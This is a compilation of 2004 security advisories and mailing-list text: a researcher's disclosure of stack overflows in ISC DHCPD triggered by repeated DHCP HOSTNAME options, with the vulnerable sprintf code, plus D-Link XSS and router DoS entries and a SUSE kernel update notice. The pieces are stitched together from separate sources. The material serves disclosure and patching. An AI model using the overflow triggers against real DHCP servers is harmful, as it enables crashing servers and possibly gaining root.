provide specific patches or updates. For vendor-specific information,
please see your vendor's site, or look for your vendor infomation in
VU#317350 and VU#654390. As vendors report new information to US-CERT,
we will update the vulnerability notes.

. Hi,
for those interested to reproduce the recent DOS attacks against ISC
DHCPD 3.0.1 rc12 and rc13
as described in:
http://www.kb.cert.org/vuls/id/317350
, i'm forwarding the first email i sent to ISC describing several stack
based buffer overflows occuring during the creation
of log messages and triggered by sending several DHCP HOSTNAME options
within a single request.
This mail also includes a trace of such DHCP REQUEST.
Other .bss overflows related to vsnprintf and identified later during
our investigations as described in:
http://www.kb.cert.org/vuls/id/654390
can be triggered the exact same way.
Note that the home made tool i am referencing in this email will be made
available very soon and already includes ISC, INFOBLOX and DLINK dhcp
vulnerabilities
I will drop a note here when it is finally released.
cheers,
Gregory
Special thanks to Solar Designer and David W.Hankins (ISC)
--- Original email ------
Summary:
i have discovered several stack based overflow in your dhcp-3.0.1rc12
and rc13 (may be others, have not checked)
these vulnerabilities can be easily triggered by crafting a dhcp
discover or request packet which carries several hostname dhcp options that
,once reassembled by the daemon (as explained in rfc 3396), overflow a
stack based variable causing the daemon to crash.
I believe than one might execute code remotely on the server with the
same user account dhcpd is running with, root in most cases.
I have been able at some points during the tests, to control eip' 4
bytes (intel 32bits arch), it was during the ddns forward update operation.
Note that all tests have been made on a linux 2.4.20-24.9 using a home
made tool to generate custom dhcp traffic
Now an example:
see dhcpd.conf in attachment if you need it.

Note that the daemon may actually crash at a different location
depending of the first corrupted structure it meets and therefore,
of the size of the malicious option sent, along with the context (type
of packet, leases in use etc...)
Problems in the source:
I have spent quite some time to find out where the overflow actually
takes its roots, here are my findings:
file server/dhcp.c:
function dhcprequest :
char msgbuf [1024]; /* XXX */
char *s;
....
if (lease && lease -> client_hostname &&
db_printable (lease -> client_hostname))
s = lease -> client_hostname;
else
s = (char *)0;
......
sprintf (msgbuf, "DHCPREQUEST for %s%s from %s %s%s%svia %s",
piaddr (cip), smbuf,
(packet -> raw -> htype
? print_hw_addr (packet -> raw -> htype,
packet -> raw -> hlen,
packet -> raw -> chaddr)
: (lease
? print_hex_1 (lease -> uid_len, lease -> uid,
lease -> uid_len)
: "<no identifier>")),
s ? "(" : "", s ? s : "", s ? ") " : "",
packet -> raw -> giaddr.s_addr
? inet_ntoa (packet -> raw -> giaddr)
: packet -> interface -> name);
To summarize, s is referencing the reassembled hostname option passed to
the daemon, afterwhat it is used as is in sprintf and stored in msgbuf
(fixed size) without any length checking.
local msgbuf can obviously be overrun, corrupting various structures in
stack and eventually causing the server to crash
Note that the call to db_printable( ), filtering hostname, may render
the task harder to root a server but likely not impossible.
Also being able to corrupt structures like *lease or *oc may have
interesting side effects from an attacker perspective.

int ms_nulltp;
struct lease *ip_lease;

VAR-200412-0052 | CVE-2004-0615 | Multiple D-Link products Security hole |
CVSS V2: 5.1 CVSS V3: - Severity: MEDIUM |
Cross-site scripting (XSS) vulnerability in D-Link DI-614+ SOHO router running firmware 2.30, and DI-704 SOHO router running firmware 2.60B2, and DI-624, allows remote attackers to inject arbitrary script or HTML via the DHCP HOSTNAME option in a DHCP request. It is reported that the DI-614+, DI-704, and the DI-624 are susceptible to an HTML injection vulnerability in their DHCP log.
An attacker who has access to the wireless, or internal network segments of the router can craft malicious DHCP hostnames, that when sent to the router, will be logged for later viewing by the administrator of the device.
The injected HTML can be used to cause the administrator to make unintended changes to the configuration of the router. Other attacks may be possible.
Although only the DI-614+, DI-704, and the DI-624 are reported vulnerable, code reuse across devices is common and other products may also be affected
VAR-200412-0047 | CVE-2004-0610 | WEB Management Interface Denial of Service Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Web administration interface in Microsoft MN-500 Wireless Router allows remote attackers to cause a denial of service (connection refusal) via a large number of open HTTP connections. Multiple broadband routers from several different vendors, used for home and small office Internet sharing and routing are reported affected by a denial of service vulnerability in their web-based administration interfaces.
The embedded web server is reportedly unable to maintain more than a small number of simultaneous TCP connections. An attacker who maintains a number of connections to port 80 of an affected device will block access to the web administration application for legitimate users.
An attacker could block access to the administration interface as long as they can maintain the TCP connections.
Netgear FVS318, Linksys BEFSR41, and Microsoft MN-500 devices are reported to be susceptible. NETGEAR FVS318 is a router with VPN, Microsoft MN-500 is a wireless router

______________________________________________________________________________
1) problem description, brief discussion, solution, upgrade information
Multiple security vulnerabilities are being addressed with this security
update of the Linux kernel.
Kernel memory access vulnerabilities are fixed in the e1000, decnet,
acpi_asus, alsa, airo/WLAN, pss and mpu401 drivers. These
vulnerabilities can lead to kernel memory read access, write access
and local denial of service conditions, resulting in access to the
root account for an attacker with a local account on the affected
system.
Missing Discretionary Access Control (DAC) checks in the chown(2) system
call allow an attacker with a local account to change the group
ownership of arbitrary files, which leads to root privileges on affected
systems. An interesting variant of the missing
checks is that the ownership of files in the /proc filesystem can be
altered, while the changed ownership still does not allow the files to
be accessed as a non-root user for to be able to exploit the
vulnerability. Systems that are based on a version 2.4 kernel are not
vulnerable to the /proc weakness, and exploitation of the weakness
requires the use of the kernel NFS server (knfsd). If the knfsd NFS
server is not activated (it is off by default), the vulnerability is
not exposed.
The only network-related vulnerability fixed with the kernel updates
that are subject to this announcement affect the SUSE Linux 9.1
distribution only, as it is based on a 2.6 kernel. Found and reported
to bugtraq by Adam Osuchowski and Tomasz Dubinski, the vulnerability
allows a remote attacker to send a specially crafted TCP packet to a
vulnerable system, causing that system to stall if it makes use of
TCP option matching netfilter rules.
In some rare configurations of the SUSE Linux 9.1 distribution, some
users have experienced stalling systems during system startup. These
problems are fixed with this kernel update.
SPECIAL INSTALL INSTRUCTIONS:
==============================
For the impatient: Run YOU (Yast2 Online Update, command
"yast2 online_update" as root) to install the updates (semi)
automatically, if you have a SUSE Linux 8.1 and newer system.
For those who wish to install their kernel updates manually and for
those who use a SUSE Linux 8.0 system:
The following paragraphs will guide you through the installation
process in a step-by-step fashion. The character sequence "****"
marks the beginning of a new paragraph. In some cases, the steps
outlined in a particular paragraph may or may not be applicable
to your situation.
Therefore, please make sure to read through all of the steps below
before attempting any of these procedures.
All of the commands that need to be executed are required to be
run as the superuser (root). Each step relies on the steps before
it to complete successfully.
**** Step 1: Determine the needed kernel type
Please use the following command to find the kernel type that is
installed on your system:
rpm -qf /boot/vmlinuz
Following are the possible kernel types (disregard the version and
build number following the name separated by the "-" character)
k_deflt # default kernel, good for most systems.
k_i386 # kernel for older processors and chipsets
k_athlon # kernel made specifically for AMD Athlon(tm) family processors
k_psmp # kernel for Pentium-I dual processor systems
k_smp # kernel for SMP systems (Pentium-II and above)
k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
kernel-64k-pagesize
kernel-bigsmp
kernel-default
kernel-smp
**** Step 2: Download the package for your system
Please download the kernel RPM package for your distribution with the
name as indicated by Step 1. The list of all kernel rpm packages is
appended below. Note: The kernel-source package does not
contain a binary kernel in bootable form. Instead, it contains the
sources that the binary kernel rpm packages are created from. It can be
used by administrators who have decided to build their own kernel.
Since the kernel-source.rpm is an installable (compiled) package that
contains sources for the linux kernel, it is not the source RPM for
the kernel RPM binary packages.
The kernel RPM binary packages for the distributions can be found at the
locations below ftp://ftp.suse.com/pub/suse/i386/update/.
8.0/images/
8.1/rpm/i586
8.2/rpm/i586
9.0/rpm/i586
9.1/rpm/i586
After downloading the kernel RPM package for your system, you should
verify the authenticity of the kernel rpm package using the methods as
listed in section 3) of each SUSE Security Announcement.
**** Step 3: Installing your kernel rpm package
Install the rpm package that you have downloaded in Steps 3 or 4 with
the command
rpm -Uhv --nodeps --force <K_FILE.RPM>
where <K_FILE.RPM> is the name of the rpm package that you downloaded.
Warning: After performing this step, your system will likely not be
able to boot if the following steps have not been fully
followed.
If you run SUSE LINUX 8.1 and haven't applied the kernel update
(SUSE-SA:2003:034), AND you are using the freeswan package, you also
need to update the freeswan rpm as a dependency as offered
by YOU (YaST Online Update). The package can be downloaded from
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/
**** Step 4: configuring and creating the initrd
The initrd is a ramdisk that is loaded into the memory of your
system together with the kernel boot image by the bootloader. The
kernel uses the content of this ramdisk to execute commands that must
be run before the kernel can mount its actual root filesystem. It is
usually used to initialize SCSI drivers or NIC drivers for diskless
operation.
The variable INITRD_MODULES in /etc/sysconfig/kernel determines
which kernel modules will be loaded in the initrd before the kernel
has mounted its actual root filesystem. The variable should contain
your SCSI adapter (if any) or filesystem driver modules.
With the installation of the new kernel, the initrd has to be
re-packed with the update kernel modules. Please run the command
mk_initrd
as root to create a new init ramdisk (initrd) for your system.
On SuSE Linux 8.1 and later, this is done automatically when the
RPM is installed.
**** Step 5: bootloader
If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
are two options:
Depending on your software configuration, you have either the lilo
bootloader or the grub bootloader installed and initialized on your
system.
The grub bootloader does not require any further actions to be
performed after the new kernel images have been moved in place by the
rpm Update command.
If you have a lilo bootloader installed and initialized, then the lilo
program must be run as root. Use the command
grep LOADER_TYPE /etc/sysconfig/bootloader
to find out which boot loader is configured. If it is lilo, then you
must run the lilo command as root. If grub is listed, then your system
does not require any bootloader initialization.
Warning: An improperly installed bootloader may render your system
unbootable.
**** Step 6: reboot
If all of the steps above have been successfully completed on your
system, then the new kernel including the kernel modules and the
initrd should be ready to boot. The system needs to be rebooted for
the changes to become active. Please make sure that all steps have
completed, then reboot using the command
shutdown -r now
or
init 6
Your system should now shut down and reboot with the new kernel.
There is no workaround known.
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.

______________________________________________________________________________
3) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers around
the world. While this service is considered valuable and important
to the free and open source software community, many users wish to be
certain as to be the origin of the package and its content before
installing the package. There are two independent verification methods
that can be used to prove the authenticity of a downloaded file or
rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you have downloaded the file from a SUSE ftp server or its
mirrors. Then, compare the resulting md5sum with the one that is
listed in the announcement. Since the announcement containing the
checksums is cryptographically signed (usually using the key
security@suse.de), the checksums offer proof of the authenticity
of the package.
We recommend against subscribing to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and
running the command (do "su -" to be root):
gpg --batch; gpg < announcement.txt | gpg --import
SUSE Linux distributions version 7.1 and thereafter install the
key "build@suse.de" upon installation or upgrade, provided that
the package gpg is installed. The file containing the public key
is placed at the top-level directory of the first CD (pubring.gpg)
and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
